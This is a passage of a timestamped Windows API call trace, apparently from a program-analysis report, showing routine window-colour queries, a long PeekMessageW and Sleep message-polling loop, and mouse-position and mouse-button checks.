(nIndex=15) returned 0xf0f0f0 [0041.095] GetSysColor (nIndex=8) returned 0x0 [0041.095] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0041.095] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xf0f0f0 [0041.095] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.095] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.095] GetWindowLongPtrW (hWnd=0xc001e, nIndex=-21) returned 0x8 [0041.095] GetWindowLongPtrW (hWnd=0xc001e, nIndex=-21) returned 0x8 [0041.095] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.095] GetWindowLongW (hWnd=0xc001e, nIndex=-16) returned 1342179332 [0041.095] GetSysColor (nIndex=15) returned 0xf0f0f0 [0041.095] GetSysColor (nIndex=8) returned 0x0 [0041.095] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0041.095] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xf0f0f0 [0041.095] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.096] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.096] CreateAcceleratorTableW (paccel=0xbf60df9700, cAccel=1) returned 0x600c5 [0041.096] GetForegroundWindow () returned 0x8018c [0041.096] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.096] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.096] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.096] Sleep (dwMilliseconds=0x0) [0041.097] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.097] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.097] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.097] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.097] Sleep (dwMilliseconds=0x0) [0041.097] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.097] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.097] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.098] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.098] Sleep (dwMilliseconds=0x0) [0041.098] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.098] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.098] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.098] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.098] Sleep (dwMilliseconds=0x0) [0041.098] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.098] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.098] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.098] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.098] Sleep (dwMilliseconds=0x0) [0041.098] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.099] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.099] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.099] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.099] Sleep (dwMilliseconds=0x0) [0041.099] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.099] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.099] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.099] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.099] Sleep (dwMilliseconds=0x0) [0041.099] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.099] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.099] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.099] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.099] Sleep (dwMilliseconds=0x0) [0041.099] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.100] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.100] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.100] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.100] Sleep (dwMilliseconds=0x0) [0041.100] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.100] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.100] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.100] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.100] Sleep (dwMilliseconds=0x0) [0041.100] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.100] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.100] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.100] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.100] Sleep (dwMilliseconds=0x0) [0041.101] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.101] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.101] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.101] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.101] Sleep (dwMilliseconds=0x0) [0041.101] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.101] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.101] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.101] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.101] Sleep (dwMilliseconds=0x0) [0041.109] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 1 [0041.109] TranslateAcceleratorW (hWnd=0x8018c, hAccTable=0x600c5, lpMsg=0xbf60cff870) returned 0 [0041.109] TranslateMessage (lpMsg=0xbf60cff870) returned 0 [0041.109] DispatchMessageW (lpMsg=0xbf60cff870) returned 0x0 [0041.109] GetForegroundWindow () returned 0x8018c [0041.109] GetWindowLongPtrW (hWnd=0x8018c, nIndex=-21) returned 0x0 [0041.109] GetCursorPos (in: lpPoint=0xbf60cff6d0 | out: lpPoint=0xbf60cff6d0*(x=786, y=513)) returned 1 [0041.109] ScreenToClient (in: hWnd=0x8018c, lpPoint=0xbf60cff6d0 | out: lpPoint=0xbf60cff6d0) returned 1 [0041.109] GetAsyncKeyState (vKey=1) returned 0 [0041.109] GetAsyncKeyState (vKey=2) returned 0 [0041.109] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.109] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.109] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.109] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.109] Sleep (dwMilliseconds=0x0) [0041.110] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.110] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.110] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.110] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.110] Sleep (dwMilliseconds=0x0) [0041.110] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.110] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.110] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.110] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.110] Sleep (dwMilliseconds=0x0) [0041.110] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.110] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.110] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.111] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.111] Sleep (dwMilliseconds=0x0) [0041.111] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.111] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.111] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.111] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.111] Sleep (dwMilliseconds=0x0) [0041.111] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.111] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.111] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.111] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.111] Sleep (dwMilliseconds=0x0) [0041.111] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.112] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.112] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.112] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.112] Sleep (dwMilliseconds=0x0) [0041.112] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.112] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.112] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.112] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.112] Sleep (dwMilliseconds=0x0) [0041.112] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.112] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.112] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.112] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.112] Sleep (dwMilliseconds=0x0) [0041.112] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.113] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.113] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.113] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.113] Sleep (dwMilliseconds=0x0) [0041.113] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.113] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.113] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.113] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.113] Sleep (dwMilliseconds=0x0) [0041.113] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.113] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.113] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.114] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.114] Sleep (dwMilliseconds=0x0) [0041.114] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.114] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.114] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.114] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.114] Sleep (dwMilliseconds=0x0) [0041.114] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.114] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.114] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.114] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.114] Sleep (dwMilliseconds=0x0) [0041.114] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.115] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.115] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.115] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.115] Sleep (dwMilliseconds=0x0) [0041.115] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.115] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.115] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.115] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.115] Sleep (dwMilliseconds=0x0) [0041.115] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.115] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.115] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.115] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.115] Sleep (dwMilliseconds=0x0) [0041.115] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.116] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.116] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.116] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.116] Sleep (dwMilliseconds=0x0) [0041.116] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0041.116] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, 